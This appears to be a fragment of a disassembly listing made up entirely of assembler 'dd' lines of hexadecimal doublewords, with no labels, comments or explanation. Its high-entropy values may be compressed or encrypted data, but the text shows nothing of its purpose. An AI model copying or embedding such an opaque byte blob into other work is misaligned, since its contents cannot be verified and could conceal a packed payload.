		dd 8D5601B1h, 43CF49B5h, 1B2480C4h, 0CDC340B9h,	47823C5Eh
		dd 1B66A12h, 7F17FB56h,	851EC422h, 0BC49403h, 0D0763F0Fh
		dd 0F4BA3437h, 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h
		dd 558BF1B8h, 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h
		dd 32FEF4h, 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h
		dd 14546C6h, 6EB029DEh,	0C8305399h, 2600567Eh, 82502D13h
		dd 259C7DDh, 44B3D375h,	0D3C095BAh, 400A58Dh, 4FF53FEAh
		dd 8C7CFFh, 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh
		dd 15F4F48h, 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h
		dd 11790114h, 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh
		dd 40722EBh, 8053B84h, 12410C01h, 0E028C310h, 0F600D311h
		dd 1CBA2F13h, 3455251h,	87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh
		dd 6C7E8086h, 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah
		dd 0ABC66F8Ah, 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh
		dd 0DDAEFC00h, 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h
		dd 0B45EBD03h, 0D224BFh, 60923949h, 9F6BE41h, 32E6B07h
		dd 9E30E4BCh, 0D31840h,	244C283h, 0DCA12550h, 805D203Eh
		dd 80D0FF04h, 6583F0h, 0B106FE3Bh, 76BE695Bh, 6EC0FA00h
		dd 73BF1210h, 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h
		dd 6D069022h, 905A007Fh, 0E99527C3h, 8900AAFFh,	821B4E42h
		dd 0EC0257EBh, 0B8D3F5D6h, 5098F23h, 12D5BEDBh,	0B4B00092h
		dd 837825E9h, 46EC600h,	0E0EB72B6h, 7C75038Eh, 14AEA1A8h
		dd 0D99548A0h, 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h
		dd 0D92A62F1h, 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h
		dd 0D428B921h, 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh
		dd 690C16EBh, 30B3B00h,	24CF2BCAh, 0DF8A006Fh, 0AE4927Ch
		dd 0A000275Fh, 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h
		dd 82920E00h, 0EB68422Bh, 75014F00h, 3C6D2859h,	96E60025h
		dd 0D4DDC30Ch, 80072089h, 1DC0267Bh, 0B50098B7h, 437EE0h
		dd 0F5AC921Bh, 0B0C1D73Bh, 450C532Ch, 0EFC25000h, 437FC6h
		dd 2856A9F9h, 8F7D0EEh,	0A8517A00h, 2DA6D3AAh, 8C4D005Dh
		dd 0BF156726h, 13007387h
		dd 3FE5F685h, 7031188h,	0A4BC625Ch, 0E08DF7AEh,	0A9841D6h
		dd 8024683Eh, 0FA92A97Dh, 0F4C5E5A6h, 19640F34h, 0A500A8BEh
		dd 358498F2h, 28033372h, 9D863210h, 0E628039h, 7A2C1D11h
		dd 8158CA2h, 2B7D4F0Ch,	28783F03h, 0A90C5820h, 63C510AFh
		dd 75D0EC0h, 0D7B153C5h, 294E00B7h, 3E037654h, 7D7A47D2h
		dd 717CF190h, 609825E0h, 8563822Fh, 6B006E96h, 0EC3DFB4Bh
		dd 1E4C52ACh, 0EEAFF5DBh, 2EDC0941h, 3752880h, 0D7B850B3h
		dd 6899D500h, 2C78B22Fh, 49F2015Dh, 0E27BCDE1h,	0A391F004h
		dd 1253430Fh, 4EA2A0F0h, 29C6F5h, 4138DA0Ch, 0C7FD04D8h
		dd 4FEC3F00h, 1E4319DFh, 0C3E809D6h, 880CA07h, 1AC11BC9h
		dd 21B9F58h, 9C18153Bh,	1254E047h, 0C550001h, 9FAD0575h
		dd 161F8AF4h, 8414258h,	1A91CB03h, 0AF46FCh, 0B454BF2Ah
		dd 0D5E868E1h, 0B9CC8900h, 8D6C2730h, 527E003Ch, 0A7EC044Bh
		dd 0E400E85Bh, 104914D5h, 0A0DA2Ch, 0B619890Ch,	0FAD0FB04h
		dd 752D3C01h, 0E2F0D1F1h, 721C64D8h, 0CC7B0024h, 15D63479h
		dd 0B3003E35h, 64658420h, 384E3Dh, 0DC5B6C21h, 91879D68h
		dd 0A4A22404h, 4EC09015h, 71E4CB2h, 5C7AB3FAh, 0AC6607Eh
		dd 0EB07EE47h, 0D7FFE215h, 0DB497190h, 45170314h, 0A130306h
		dd 2E77F098h, 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h
		dd 9A70F31Ah, 0FF0A00C0h, 0E4390855h, 0BAFE7347h, 0E0257F00h
		dd 5ADEF7FBh, 45600728h, 618A6543h, 0D94CD0A8h,	68E8EB85h
		dd 4D9C7DE0h, 84A22C06h, 1CD6EAC4h, 0C0096422h,	0BAF5784Ah
		dd 0C400EB0Ah, 0B6E83C80h, 4CC1E924h, 11DAEA7h,	0A9840003h
		dd 8AB08805h, 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h
		dd 40FAE70Fh, 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h
		dd 0FCCFD20h, 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h
		dd 65E8F980h, 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h
		dd 68A1C07h, 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h
		dd 5C9FB9EFh, 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h
		dd 0F880EE89h, 3E0313A4h, 1D004D93h, 7601C71Ch,	0EBE09237h
		dd 0E93C1703h, 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h
		dd 0CC7EC0DFh, 720904E8h, 80F6D48Fh, 3DD3BD3Ch,	0D1242EFAh
		dd 0C6006A71h, 1237E903h, 2B9600AAh, 108DE776h,	3A0075B8h
		dd 0C45420A7h, 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh
		dd 2D008319h, 0B4CFCCE0h, 66ED10h, 0F8AD68E7h, 851C7DA4h
		dd 0CCF4423Dh, 7B301D4Eh, 3F13DAEEh, 185C4D02h,	688E0E8Ch
		dd 0DE26001Dh, 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h
		dd 0E0F9FDF2h, 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h
		dd 0F516031Bh, 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h
		dd 0B2566F20h, 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h
		dd 534FC04Eh, 92747F24h, 1800E024h, 0DE4BE810h,	9E140E12h
		dd 68AF9608h, 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h
		dd 4A170094h, 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh
		dd 130ED1F5h, 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h
		dd 0AE7F7Fh, 47498476h,	88D6CB55h, 23517100h, 54B88A3Eh
		dd 37320025h, 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h
		dd 0C89C0076h, 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h
		dd 40001B32h, 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h
		dd 0A9A44526h, 47441653h, 0A69DAE18h, 0EC550Eh,	0ABF00798h
		dd 3B06E98Ch, 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h
		dd 0FF96EBE0h, 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h
		dd 8130299Fh, 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h
		dd 342D220Dh, 85000CCh,	0DED4BA04h, 0B400E542h,	6B1CDAB6h
		dd 74AE9046h, 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h,	920034F5h
		dd 1C5815D1h, 0E3AC6Eh,	8F433614h, 8C9C46A2h, 8A40F101h
		dd 814A3B08h, 603D840h,	428D0050h, 4D98EA0Ah, 2900E8F0h
		dd 845E575Bh, 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch,	0B3AE8C0Dh
		dd 9AFC6A00h, 7FE7F353h, 0F5DF03AAh, 7A8D7B58h,	22B5780Fh
		dd 2FA4035h, 0F3F4CB8h,	2FBF0142h, 53A22A00h, 33001034h
		dd 6547E788h, 3D180C04h, 0AB805249h, 41B26CECh,	0F586E34h
		dd 70690052h, 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h
		dd 0C805003Ch, 0C4156550h, 0BF77E9h, 0F12F40Ch,	95845D85h
		dd 3C3E9A67h, 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh
		dd 7E9AD9Dh, 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h
		dd 0BAA068FCh, 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh
		dd 4F77042h, 4F5C2A6Ah,	300D1FD0h, 0B01C8700h, 1F625FD6h
		dd 0E651C8h, 702EC949h,	0A10378BAh, 0A3015785h,	954ED020h
		dd 0D34900C4h, 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h
		dd 1CE00B04h, 80A80858h, 5B4C53E8h, 0C400C98Bh,	0C62D4B9Bh
		dd 0FE48475Ah, 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh
		dd 42F397B2h, 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h
		dd 7728C342h, 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh
		dd 0AC804582h, 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah
		dd 3BD2AF24h, 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah
		dd 0DB2493B8h, 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h
		dd 5CDF1198h, 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h
		dd 1E50084h, 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h
		dd 0EAA2E809h, 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h
		dd 0CCE8DDD8h, 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh
		dd 0A0F12F10h, 204DE4E2h, 3CF87708h, 22584354h,	0E80FEC00h
		dd 945E6A0Dh, 41FD301h,	1CBE6096h, 31FCBD40h, 4C5001C0h
		dd 0A80E6802h, 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh
		dd 0B881D53Ah, 6DFEBDAAh, 3CC0200Bh, 500A6500h,	86EA015Eh
		dd 55D404E1h, 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h
		dd 107F001Fh, 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h
		dd 0D5380088h, 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch
		dd 0FE3500F6h, 0ADD66AF9h, 5002818h, 47CA0CC1h,	4FC8D53h
		dd 0C6297BDFh, 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh
		dd 3F750029h, 12E653FFh, 0ECB064A4h, 3FF4FA4Ch,	0E9098082h
		dd 22021845h, 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h
		dd 750F09C3h, 5D7D07h, 0B355565Ah, 0D14B1620h, 810CEA3Ah
		dd 527333D6h, 0EB20077Fh, 114000B4h, 31577242h,	43F8484Dh
		dd 9729863Ch, 0F3002625h, 544CF20h, 0B3850266h,	7C080C2Ch
		dd 3B4C980h, 2B1F4BD6h,	0B0000A60h, 0C8022E18h,	3F800F06h
		dd 0DC01353h, 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h
		dd 0C2790950h, 38805F86h, 8E0E7412h, 28824C01h,	0C780D231h
		dd 0F7E2C8h, 4101028Ah,	0F686140Bh, 7570E000h, 0DE3C58F2h
		dd 7637723Ah, 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h
		dd 0A3A5275h, 0E6B37740h, 54D30F20h, 5C401460h,	612BC889h
		dd 817A4400h, 586A07E2h, 0F0C43FE4h, 781CC91Ch,	40CEDC60h
		dd 1001DF6h, 10B77538h,	1C9EBA3h, 39F00A7Bh, 0ECC156CCh
		dd 0BC00FA04h, 869460A0h, 0EDEF69Dh, 3FAC8313h,	0D089AD00h
		dd 807DCDEBh, 0A8201E00h
		dd 0EA7D901h, 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h
		dd 1A24D904h, 669CFA81h, 7397B0FBh, 0C4883C05h,	0E072500h
		dd 0F62FCA5h, 0EA7B8401h, 2F2985FAh, 0E0499F0h,	0E03906ADh
		dd 32C30720h, 172C7440h, 1739997Ah, 74126601h, 0D9075913h
		dd 804B49BFh, 5BBCE94Bh, 0A41002EBh, 6143536h, 222AD880h
		dd 480FC8EDh, 0A0026433h, 0BD105CCBh, 0E8E00B70h, 9407A326h
		dd 2A271FC4h, 3E45A01Bh, 5500A98Fh, 0D84BC179h,	0DFBBF3h
		dd 0CED2031Fh, 0F25B64BEh, 0BCC45424h, 791B200h, 4A0250h
		dd 18066C74h, 3FEB2880h, 1D8D3700h, 0FFEEB90Ah,	91FCE340h
		dd 0CB3104E8h, 0C0EB7460h, 362C13E9h, 230311E8h, 5BD24C30h
		dd 0B0E8A097h, 5A8A098h, 0D4370734h, 20358BB2h,	0EC0DC402h
		dd 318E800h, 3C836F11h,	0B91200A1h, 0B1437194h,	76003689h
		dd 0C2230FC0h, 0FF4BA14h, 0ACFE2F70h, 1588E200h, 32003A8Bh
		dd 809DA2C8h, 49A03Dh, 0ECA11A74h, 509E5CB9h, 32872900h
		dd 0FF10280Ch, 81A60015h, 5854C35Eh, 2000B22Ch,	5FB7DA36h
		dd 3E94099Ah, 5EE09332h, 83F07072h, 0E224B90Fh,	34801E1Ch
		dd 5A7CA63Eh, 0AEF90312h, 1BCD0854h, 0CA27F8E8h, 6AF59004h
		dd 0BB878405h, 0B464FCE0h, 0E0C3C72h, 0B844007Bh, 0C0507076h
		dd 171EB4Ch, 8C66C700h,	8304A8D8h, 0EAE90010h, 0C3FA3265h
		dd 0E5005E75h, 186C644Bh, 6288E8h, 98580F1Ah, 28682BF8h
		dd 54059A0Eh, 66007C8Fh, 20CD02EBh, 2D500E89h, 2098C75Fh
		dd 1E00A2D7h, 9A84B58Ch, 0EC3EAh, 4647BE66h, 4A4DBF83h
		dd 0E81A0700h, 57ECF391h, 81C32C69h, 7422097Ah,	0B5408300h
		dd 0C0010A6Ch, 38F640Ch, 3DDCD0BAh, 5CC10042h, 525051C3h
		dd 8807EE66h, 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh
		dd 0AC3C6942h, 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh
		dd 0D7EE56AAh, 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh
		dd 9F480DE0h, 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h
		dd 0F99D00EDh, 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh
		dd 0EA5657h, 3685944h, 30058B64h, 3C148500h, 421904F2h
		dd 0C4080F02h, 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h
		dd 0B27862C0h, 1859005Eh, 0FE6A8B29h, 2713ABDh,	8624FF00h
		dd 27C067C7h, 33CB0E68h, 88091DBh, 0E8507417h, 62005AFCh
		dd 0F207E688h, 97D36Bh,	51759BB4h, 1457C922h, 0A2199513h
		dd 0FBEE12h, 4CBBD4DEh,	600F713h, 560B245Bh, 1CCB3A73h
		dd 9F92EBA7h, 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch
		dd 768006A6h, 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h
		dd 582F0064h, 74C1487Fh, 80FAB89Fh, 0FB4F7D00h,	9536D0D6h
		dd 1E40087h, 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h
		dd 0EB4599h, 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh,	8D402E59h
		dd 68EC552Dh, 57B3004Fh, 0E2AEC583h, 343E1215h,	0F6D2AC75h
		dd 0D840501Dh, 4C32FFB3h, 8A60083h, 962E5CF6h, 8EF87193h
		dd 221FEC7Ah, 0B44F4175h, 2B3960E4h, 705F1BC2h,	0EF8F17Ch
		dd 83F41D11h, 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h
		dd 0EE7EBDD2h, 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h
		dd 424B01D7h, 153B1249h, 0E10EF0A5h, 683C7700h,	2E855274h
		dd 7FD70059h, 756E8441h, 8006604h, 4A92BE69h, 0E26B5B10h
		dd 0F313E2E2h, 19C4B8DDh, 2C874C76h, 2078840Eh,	0F4285E4h
		dd 97801F10h, 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h
		dd 904F6400h, 0C27288Ah, 0B1383EFFh, 96BD7800h,	50101560h
		dd 5CBF5300h, 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah
		dd 121F71D1h, 2B50296h,	89F4F287h, 0CAC00D14h, 680084E9h
		dd 0A177EA90h, 490894h,	143EA259h, 0A30C6674h, 314F300Eh
		dd 1F35CFBDh, 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h
		dd 0B5022AB0h, 50093195h, 32836068h, 0DB5D0303h, 0A559974h
		dd 2EB20400h, 684C2B7Ah, 13D7614h, 66400885h, 0CCA8D753h
		dd 5C6761EDh, 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah
		dd 6A04C80Eh, 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h
		dd 9734CFAh, 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h
		dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h
		dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh
		dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h,	0F613B888h
		dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h,	0D77C8B52h
		dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h
		dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h
		dd 0D7BC5Bh, 0A1AAC9Fh,	4410044Fh, 0B34C8F00h, 0FE91C690h
		dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h
		dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h
		dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h
		dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h,	80041D3Bh
		dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h
		dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h
		dd 885444A6h, 2901164h,	2135E6Ch, 894193ADh, 0CF9BF0FDh
		dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h
		dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h,	7720C00h
		dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h
		dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h,	8A87C545h
		dd 0D37BB4h, 52FB25D2h,	9264F2C3h, 4B4AFC13h, 694CA600h
		dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah
		dd 18B91C53h, 35B8315h,	0A3D8FED3h, 0F598E011h,	51A4042Ch
		dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h
		dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h
		dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h,	0F33B558Dh
		dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h,	0D6991401h
		dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h
		dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch
		dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h
		dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h,	98427D63h
		dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh
		dd 553A16h, 0FAED75F5h,	615097E0h, 0C30045Ch, 5A0689D8h
		dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h,	0BD340310h
		dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h
		dd 69F70059h, 1680827h,	2F000BD4h, 41EDCE80h, 152420h
		dd 74664C94h, 1FFD389h,	840F3A00h, 113FA9F4h, 0BFDE0096h
		dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h,	0F34E8218h
		dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h
		dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h
		dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch
		dd 91A92C9h, 366E194Fh,	16C0D08Fh, 0A3CDF841h, 2134F600h
		dd 0F4107D2Ah, 0C94E00D4h, 0E1665EE3h, 0F900E2B4h, 0F3BE9045h
		dd 5D592F0h, 0ED8B9CB8h, 0AFF7819Bh, 0CB4FF98Fh, 759733A8h
		dd 4FAA5F2h, 0B73A2274h, 84341F1Ch, 0BB38D840h,	3E7C92AEh
		dd 5C00F2FEh
		dd 82EFD7B1h, 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh
		dd 3EBF7DD8h, 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h
		dd 886EA79Ch, 0DF7C514Ch, 0B0465A07h, 0ED08087h, 0FAE33C13h
		dd 3D8B002Eh, 833F6052h, 0B80011EFh, 0A608577Ah, 3E210429h
		dd 0A0003A45h, 5FFC07B2h, 0EA096A55h, 87067174h, 85600A53h
		dd 1D33C25Eh, 81F2DD18h, 281536C4h, 0F82CD589h,	0AC907784h
		dd 0D30022FAh, 0A51DE87Eh, 5539D9h, 0A4CFAAACh,	0B6AB362Ah
		dd 4ED25005h, 7BC04B56h, 888CBh, 0C80DF415h, 0C2F0110Ch
		dd 28588D07h, 4540D8D6h, 4495ECh, 6DDB35F6h, 0CF4130D2h
		dd 9D71EB1Fh, 0EAB82280h, 3EAEE3h, 44B4228h, 0AFAF9DFh
		dd 8F6A3F00h, 8A587B9Fh, 54150027h, 0C7642994h,	5B0033A7h
		dd 1E759546h, 15A9Bh, 24871785h, 36FF1491h, 0C306F400h
		dd 8F75D6EAh, 0FA5E004Ah, 85F310D2h, 2400CF3Ch,	93DBE848h
		dd 0C65F49h, 0A73079D7h, 1FB9BF0h, 2B887700h, 317B53BBh
		dd 7557D6Eh, 0F96AB121h, 0D0F84768h, 82F50928h,	29891600h
		dd 9ECF0D45h, 0C001FEC8h, 0B94CB70h, 0CD0099F4h, 517FEF62h
		dd 0A15803h, 0E474B118h, 846C1614h, 4F268BF0h, 0D2001180h
		dd 0AD44C4DDh, 276F3CB7h, 0FC773E00h, 10428EB2h, 0E9894A00h
		dd 931675F2h, 157A25h, 6950C7B1h, 23ABC28Fh, 5D400200h
		dd 53992444h, 0DF785C41h, 0D2F63200h, 0D49B0309h, 864630Fh
		dd 69FF000Bh, 44CFCCh, 0B94B851Ah, 1452965Bh, 0E6BA5600h
		dd 13505358h, 9C780089h, 4AA574F1h, 310229BEh, 8D2A0746h
		dd 45244054h, 37120143h, 3570A985h, 7378F456h, 74160800h
		dd 9CAE0D24h, 9A5E0EE4h, 834023A0h, 0BF42AAA9h,	21D62D00h
		dd 0C5521ACAh, 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h
		dd 3C20614h, 0A6F0997h,	0CAA11A9Ch, 983DF005h, 165C6B7Bh
		dd 15C500E7h, 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h
		dd 744A6000h, 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h
		dd 0B40A7200h, 9427F8FCh, 807100E0h, 3C6C37D2h,	0E20085F5h
		dd 0FB876B8Dh, 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h
		dd 0EF4903E8h, 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h
		dd 7807431Fh, 94FBA538h, 56E2B800h, 0D25A000Eh,	0E4471019h
		dd 66037488h, 0A1E614C5h, 0F26F935h, 0A8AEB40h,	2851001Ch
		dd 90135D1Dh, 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h
		dd 28037575h, 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h
		dd 0D344E7B1h, 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h
		dd 4EE05DAFh, 3E7EB089h, 33705700h, 3593D588h, 97B50369h
		dd 2C5F256Fh, 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh
		dd 882FB580h, 4200D621h, 0D0396147h, 675B0Ah, 689FC274h
		dd 282D35D2h, 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch
		dd 1E3700F1h, 96303611h, 6800C020h, 80284D53h, 979EA5h
		dd 184FEA8Fh, 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h
		dd 0D025608Ah, 9B2341BEh, 9864B600h, 8B16116Ch,	53040748h
		dd 62F5AB7Dh, 9E02368h,	0DF0093F7h, 0D89DBFEDh,	0EAD544FEh
		dd 89AA00A3h, 40191802h, 58001A10h, 32C78E66h, 0B92B16h
		dd 68444260h, 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h
		dd 89D02B09h, 0E299868Ah, 688BD100h, 98FF85F6h,	0C4C500F7h
		dd 54913CA3h, 41003BEBh, 0A5C70334h, 1DEE6151h,	40AD5708h
		dd 8045A268h, 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch
		dd 0CEB28B61h, 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh
		dd 51EB002Fh, 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h
		dd 5E7600B5h, 6240FF38h, 0E800C1C2h, 8474DB42h,	72011Fh
		dd 0A048F723h, 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh
		dd 90680015h, 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h
		dd 0FCBC015Dh, 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h
		dd 7E1960Bh, 2F571327h,	51B8E010h, 9E3E18C0h, 21C026Dh
		dd 0E06FE80Bh, 4E1660h,	0BA673021h, 0E52E70A4h,	8CBBE000h
		dd 85340F0Ah, 0E3C001EEh, 22A05CA1h, 18C4D428h,	2052E51Eh
		dd 2B27C880h, 0EFD00Ah,	0BE848D4Fh, 0C7751D83h,	0A5F2D700h
		dd 0FEF40E48h, 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh
		dd 4B04E600h, 0B057A384h, 972D00E1h, 70895130h,	94900853h
		dd 5C81B800h, 0EA18212Bh, 4352008Eh, 9747DE1Dh,	95009436h
		dd 0A1F146A9h, 9685502h, 927C86DDh, 0BC210B80h,	563C75FDh
		dd 0C289F3Dh, 0E91EF8C0h, 79ECA419h, 30C700F5h,	0AFAA50BCh
		dd 4C00C641h, 0B82386D6h, 3ACF28h, 6760C5F0h, 169A310Dh
		dd 0FA4FFF26h, 50808303h, 99E8C83Bh, 0CEA0078h,	0FF892EE4h
		dd 88A0877Bh, 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h
		dd 0D36948B9h, 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h
		dd 5B30007Dh, 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh
		dd 0FD250016h, 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h
		dd 21B3EDEBh, 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch
		dd 90D4B957h, 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh
		dd 1C781532h, 328890Ah,	18452059h, 1DE8F0FBh, 4A7AC7EAh
		dd 80006BF6h, 1CC20978h, 3D1FB80Fh, 0E85F425Bh,	0F82B007Eh
		dd 103D2583h, 0A3750F44h, 6467D462h, 0C71103Ch,	1700EAB9h
		dd 0CBD53E13h, 0BA3B009h, 6167DD1h, 404B5A07h, 0C9250C15h
		dd 3910171Eh, 0B56CE140h, 51B7C4h, 6348921Eh, 82A5083Dh
		dd 8014773Ch, 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h
		dd 3B72DFEEh, 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh,	0FC4400A4h
		dd 7068D9FEh, 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h
		dd 0E932BB3Ch, 150C181Dh, 4FCB7A40h, 0ED3AC71h,	0C2C38449h
		dd 37568D80h, 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h
